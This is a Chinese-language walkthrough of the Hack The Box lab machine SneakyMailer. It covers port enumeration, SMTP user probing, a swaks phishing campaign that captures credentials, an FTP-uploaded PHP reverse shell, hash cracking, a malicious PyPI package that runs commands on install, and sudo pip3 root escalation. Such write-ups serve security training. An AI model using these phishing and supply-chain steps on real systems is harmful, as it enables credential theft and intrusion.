SneakyMailer Writeup

概述 (Overview)

image

时间: 2021-08-26 靶机地址:10.10.10.197 机器作者: sulcud 困难程度: MEDIUM MACHINE TAGS: * External * Social Engineering * FTP * Penetration Tester Level 2 * Phishing * Authentication * PyPi * Password Reuse * Weak Credentials * Password Cracking * Misconfiguration * Sudo Exploitation

攻击链 (Kiillchain)

通过对目标服务器的开放端口进行枚举,发现运行的Web服务存在未授权访问,随后通过上面的服务信息得知目标服务器上运行了邮件服务。对的到的邮箱列表进行钓鱼攻击,成功捕获到一组用户邮箱账号,成功在里面找到开发用的账号密码信息,进一步成功连接FTP服务。
在FTP中上传PHP反弹SHELL获取交互会话,从枚举信息中发现脆弱的pypi服务,通过构建自定义库的方式触发恶意的供应链攻击,成功横移至 low 用户,最终通过脆弱的sudo配置完成root提权。

枚举(Enumeration)

老规矩,开局还是使用 Nmap 扫一下分析目标开放端口和服务信息:

$ nmap -p- -sV -sC -oA portscan -T4 -v 10.10.10.197 PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 25/tcp open smtp Postfix smtpd |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 80/tcp open http nginx 1.14.2 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.14.2 |_http-title: Did not follow redirect to http://sneakycorp.htb 143/tcp open imap Courier Imapd (released 2018) |_imap-capabilities: STARTTLS ACL UIDPLUS THREAD=REFERENCES THREAD=ORDEREDSUBJECT SORT ENABLE IMAP4rev1 IDLE completed QUOTA UTF8=ACCEPTA0001 NAMESPACE CHILDREN ACL2=UNION CAPABILITY OK | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US ...snip... 993/tcp open ssl/imap Courier Imapd (released 2018) |_imap-capabilities: IMAP4rev1 ACL UIDPLUS THREAD=REFERENCES THREAD=ORDEREDSUBJECT AUTH=PLAIN SORT ENABLE IDLE completed QUOTA CHILDREN NAMESPACE UTF8=ACCEPTA0001 ACL2=UNION CAPABILITY OK | ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US | Subject Alternative Name: email:postmaster@example.com | Issuer: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US ...snip... 8080/tcp open http nginx 1.14.2 | http-methods: |_ Supported Methods: GET HEAD |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: nginx/1.14.2 |_http-title: Welcome to nginx!

从扫描结果中可以得知目标服务器有部署邮件服务(25 SMTP, 110/995 POP3(s) or 143/993 IMAP(s) ),SSH 服务说明目标服务器可能是 Debian 系统。

80、8080 均部署了 Nginx 服务,从 http-title 中可以看到 8080 上运行的是一个 Nginx 默认页。

TCP 80 - Nginx

通过观察 80 端口,存在一个重定向到了新的域名,将其加入 hosts 文件后在访问。这里存在未授权登录,直接展示了控制台页面。

image

功能比较简洁就两个可以浏览的PHP路径:index.phpteam.php ,这里注意看右侧项目更新提示:

Project Update The project teams have been formed and work allocated. Please check your emails for further instructions and register an account 项目更新 项目小组已经成立并分配了工作。 请查看您的电子邮件以获取更多说明并注册一个帐户 PyPI It is now possible to install modules with pip on our servers PyPI 现在可以在我们的服务器上使用 pip 安装模块

而中间的项目卡片栏中已经完成了 POP3 与 SMTP,而在 team.php 页面我们可以得到很多用户的邮箱列表:

image

随后在页面中找到新的提示,注释中指向一个注册脚本。

image

结合上面的邮件服务端口,推测这里是不是可以任意注册邮箱或者存在弱口令的邮件。首先注册一个名字为 test 的账号,然后利用 nc 连接 smtp 服务,使用 VRFY 命令进行验证。

  • VRFY : 验证给定邮件地址的特定用户名是否存在(并非所有邮件服务器都支持)。
$ nc -nv 10.10.10.197 25 220 debian ESMTP Postfix (Debian/GNU) VRFY test@sneakycorp.htb 454 4.7.1 <test@sneakycorp.htb>: Relay access denied VRFY tigernixon@sneakymailer.htb 252 2.0.0 tigernixon@sneakymailer.htb VRFY admin@sneakymailer.htb 550 5.1.1 <admin@sneakymailer.htb>: Recipient address rejected: User unknown in virtual mailbox table 421 4.4.2 debian Error: timeout exceeded

更多命令可以参考此文章:

https://vk9-sec.com/25110143-tcp-smtppop3imap-enumeration/

连接成功后服务器返回 220 状态,随后我们输入 VRFY test@sneakycorp.htb 回车后得到 Relay access denied。说明先前的注册页面并不会任意注册邮箱。尝试验证已知的邮件 tigernixon@sneakymailer.htb ,得到 252 的状态码(无法验证用户,但仍会尝试传递消息)。接着验证 admin@sneakymailer.htb ,收件地址被拒绝,看来 admin 是存在的。

接着我陷入了长时间的迷茫,找不到有效的突破方式,尝试了对所有邮箱用户进行弱口令枚举依然无效。邮箱列表在 team.php 页面获得后,通过 nmap 的 smtp-user-enum 枚举有效用户。

邮件钓鱼

中间断档了两天,从机器的 tag 中找到了突破口(社工+钓鱼)进行伪造邮件发送。首先判断 mail 服务是否支持伪造邮件的发送,通过 dig 命令查看解析信息,发现并不存 spf 记录,大概率是可以伪造的。

$ dig txt sneakycorp.htb ... snip ... ;sneakycorp.htb. IN TXT ... snip ...

spf 存在的情况,比如 google:

dig txt google.com | grep spf google.com. 3599 IN TXT "v=spf1 include:_spf.google.com ~all"

SPF,全称为 Sender Policy Framework,即发件人策略框架,SPF 出现的目的,就是为了防止随意伪造发件人。实际上是服务器的一个 DNS 记录,假设邮件服务器收到了一封邮件,来自主机的 IP 是173.194.72.103,并且声称发件人为email@example.com。为了确认发件人不是伪造的,邮件服务器会去查询example.com的 SPF 记录。如果该域的 SPF 记录设置允许 IP 为173.194.72.103的主机发送邮件,则服务器就认为这封邮件是合法的;如果不允许,则通常会退信,或将其标记为垃圾/仿冒邮件。 – 《SPF 记录:原理、语法及配置方法简介》

使用 swaks 工具对获得邮件列表进行发件,消息内容中带有本地启动监听的HTTP服务地址,用于观察是否存在消息回传。

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.16.5/" --server 10.10.10.197

image

可以看到监听的HTTP服务中收到了一个POST请求,通过启动NC来获取完整的数据内容:

$ nc -lvvp 80 listening on [any] 80 ... connect to [10.10.16.5] from sneakycorp.htb [10.10.10.197] 40670 POST / HTTP/1.1 Host: 10.10.16.5 User-Agent: python-requests/2.23.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Length: 185 Content-Type: application/x-www-form-urlencoded firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt sent 1, rcvd 397

Nice,收到了一组用户名和密码:

paulbyrd@sneakymailer.htb : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

经过多种尝试,这组账号无法登录 SSH、FTP 。

image

立足点(Foothold)

既然部署了邮件服务,那么是否可以使用这组账号呢?kali上需要装一下 thunderbird-l10n-zh-cn方便测试。

然后配置:

账号名称:paulbyrd@sneakymailer.htb imap邮件服务器:sneakymailer.htb:143 smtp邮件服务器:sneakymailer.htb:25 服务器用户名:paulbyrd

发现一组新的账号密码,从名称中得知这可能是开发账号:

image

Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

使用这组账号可以登录FTP服务:

image

这里使用文件夹挂载浏览起来会更加方便些:

image

在 dev/vendor 目录中找到与 sneakycorp.htb 站在一致的文件名称,推测这就是站点的源代码。尝试传递 PHP 脚本进行反弹shell,但是访问站点路径会显示404。

换了几种脚本后发现依然不行,推测可能存在子域名,使用 gobuster 配合字典进行枚举:

$ gobuster vhost -w /home/kali/tools/DictionaryTools/IntruderPayloads/Repositories/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u sneakycorp.htb Found: dev.sneakycorp.htb (Status: 200) [Size: 13742]

果然存在一个 dev 的子域名,将其加入至 hosts 文件后访问:

10.10.10.197 dev.sneakycorp.htb sneakycorp.htb sneakymailer.htb

此时我们在访问上传的反弹shell的脚本,成功拿到立足点:

image

横向移动(Lateral Movement)

当前shell的用户是www-data,我们需要横移至其他用户权限下才行,先查看 passwd 中可以 ssh 登录的用户:

cat /etc/passwd | grep -v login root:x:0:0:root:/root:/bin/bash low:x:1000:1000:,,,:/home/low:/bin/bash developer:x:1001:1001:,,,:/var/www/dev.sneakycorp.htb:/bin/bash

存在两个用户developer、low,随后找到站点部署的文件夹,尝试从中寻找新的密码。

image

在 pypi.sneakycorp.htb 文件夹中找到一个可疑的文件 htpasswd,在里面能发现一组密码:

www-data@sneakymailer:~/pypi.sneakycorp.htb$ cat .htpasswd pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

htpasswd建立和更新存储用户名、密码的文本文件, 用于对HTTP用户的basic认证

这里我使用 hashcat 配合 rockyou.txt 字典进行枚举,成功得到明文密码。

hashcat -m 1600 '$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/' /usr/share/wordlists/rockyou.txt $apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/:soufianeelhaoui

成功横移到 developer 用户 shell。

image

权限提升(Privilege Escalation)

首先搜索下当前两个用户组下所属的文件、文件夹、运行进程:

$ find / -group developer 2>/dev/null | grep -v '\/proc' /opt/scripts/developer /opt/scripts/developer/clean-ftp.py /var/www/dev.sneakycorp.htb/dev /var/lib/sudo/lectured/developer $ find / -group low 2>/dev/null | grep -v '\/proc' ... snip ... /home/low/.local/share /opt/scripts/low /var/lib/sudo/lectured/low $ find / -group pypi 2>/dev/null | grep -v '\/proc' ... snip ... /var/www/pypi.sneakycorp.htb/venv ```bash 可以看到我依次通过查询锁定其对应的所在文件路径,当然通过 ps 命令查询详细进程也能得到你想要的信息: ```Plain Text pypi 658 0.0 0.6 36804 25656 ? Ss Aug25 0:13 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages root 676 0.0 0.0 6620 3072 ? Ss Aug25 0:00 /usr/sbin/vsftpd /etc/vsftpd.conf low 1091 0.0 0.5 29952 20860 ? Ss Aug25 0:10 /home/low/venv/bin/python /opt/scripts/low/install-modules.py

在 nginx 的配置文件中找到了新的域名配置:

image

其主要是运行 pypi 存储库的简单在线服务,这种一般可用于企业私服方便管理及本地加速:

image

Python Package Index (PyPI)是一个用于共享 Python 编程语言的包/库/软件的存储库。用户可以使用pip命令从这样的 repo 安装/下载包。

而它会对外暴漏两个路径:http://pypi.sneakycorp.htb:8080/packages/http://pypi.sneakycorp.htb:8080/simple/

分别用于查看软件库的列表及索引,pypi server 的运行可以在进程详情中得知。

/var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages

  • -i 本地ip外部无法访问
  • -p 监听端口 5000
  • -P 选择指定的密码文件
  • -a 支持的方法

综上所述,看来提权最终要用到的就是通过 pypi server 去实现,通过阅读官方文档学习如何加载远程的自定义库。

https://pypi.org/project/pypiserver/#upload-with-setuptools

开始提权利用,首先创建一个自定义包,打包后发布到pypi服务器上。目录结构如下:

mkdir demo cd demo mkdir demo_package touch demo_package/__init__.py

__init__.py 文件中加入恶意的命令执行语句。

当我们去 import 一个 Package 的时候,它会隐性的去执行 __init__.py , 而在 __init__.py 中定义的对象,会被绑定到当前的命名空间里面来。

from setuptools import setup, find_packages def get_shell(): import os os.system('cat /home/low/user.txt > /tmp/u.txt') get_shell() setup( name="demo", version="0.1", packages=find_packages(), )

随后执行 sdist 打包命令,目录下会生成 builddemo.egg-infodist三个子目录。随后配置本地文件,让我们能够成功将包推送至pypi 服务:

cat ~/.pypirc [distutils] index-servers = local [local] repository: http://pypi.sneakycorp.htb:8080 username: pypi password: soufianeelhaoui

随后将包发布到pypi中package中去:

$ HOME=`pwd` $ /var/www/pypi.sneakycorp.htb/venv/bin/python3 setup.py sdist register -r local upload -r local

image

可以看到,我们成功在 u.txt 中读取到了 low 用户的 user flag,随后更改一下,将 kali 的公钥写入/home/low/.ssh/authorized_keys,成功免密登录了 low 用户会话:

$ ssh low@10.10.10.197 Linux sneakymailer 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. No mail. Last login: Tue Jun 9 03:02:52 2020 from 192.168.56.105 low@sneakymailer:~$

在查看 sudo 配置时发现可以免密已root身份运行pip3服务:

low@sneakymailer:~$ sudo -l sudo: unable to resolve host sneakymailer: Temporary failure in name resolution Matching Defaults entries for low on sneakymailer: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User low may run the following commands on sneakymailer: (root) NOPASSWD: /usr/bin/pip3

接下来就很简单了,通过 gtfobins 查询利用步骤成功完成权限提升。

https://gtfobins.github.io/gtfobins/pip/#sudo

image

复盘

查询本地服务监听端口:(netstat -punta || ss -ntpu || netstat -anv) | grep -i listen

关于邮件服务的进程, /usr/sbin/couriertcpd 是 courier-imap 服务,/usr/lib/postfix/sbin/master 是 postfix 邮件服务器,用来处理邮件收发。

参考

  • https://vk9-sec.com/25110143-tcp-smtppop3imap-enumeration/
  • https://pentestlab.blog/2012/11/20/smtp-user-enumeration/
  • https://book.hacktricks.xyz/pentesting/pentesting-smtp#sending-an-email-from-linux-console
  • https://httpd.apache.org/docs/2.4/misc/password_encryptions.htm
  • https://www.renfei.org/blog/introduction-to-spf.html
  • http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats
  • https://blog.pentesteracademy.com/learn-to-interact-with-pypi-server-in-3-minutes-71d45fa46273
  • https://www.jianshu.com/p/a7a5ce79d2fb
  • https://ki9mu.cn/index.php/2021/03/09/gongyingliangongjifuxian/


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。